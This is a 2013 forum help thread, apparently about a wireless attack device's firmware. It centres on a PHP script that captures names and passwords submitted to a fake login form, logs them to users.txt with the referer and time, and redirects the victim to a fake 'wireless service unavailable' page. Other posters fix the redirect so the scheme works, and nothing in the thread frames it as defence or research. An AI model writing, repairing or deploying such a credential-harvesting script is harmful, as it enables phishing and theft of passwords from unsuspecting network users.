kaiserninja Posted April 6, 2013 Share Posted April 6, 2013 I am trying to redirect to a webpage in the www directory called 4043error.html that just says wireless service unavailable after the error.php is executed. I have this and it executes all the way down to the part in red. I get a blank web page with no redirect. I don't code php so any help would be appreciated. This is my error.php file. <?php $ref = $_SERVER['HTTP_REFERER']; $today = date("F j, Y, g:i a"); if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); $pas = htmlspecialchars($pas, ENT_QUOTES); $content = $today . " -- " . $ref . " -- " . $nam . " -- " . $pas; $filed = @fopen("users.txt", "a+"); @fwrite($filed, "$content\n"); @fclose($filed); $loc = '4043error.html'; header("Location: $loc"); die(0); } ?> Quote Link to comment Share on other sites More sharing options...
TylerCPU Posted April 6, 2013 Share Posted April 6, 2013 You need to add under header("Location: $loc"); header('Status: 302 Found'); Apparently the newest firmware is not sending the status 302 back to the browser. That tells it to redirect to your page 4043error.html. Quote Link to comment Share on other sites More sharing options...
kaiserninja Posted April 7, 2013 Author Share Posted April 7, 2013 That did the trick. Been working on this one for days trying to figure it out. Thanks Quote Link to comment Share on other sites More sharing options...
Sebkinne Posted April 7, 2013 Share Posted April 7, 2013 That did the trick. Been working on this one for days trying to figure it out. Thanks It does say so in the changelog ;) Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.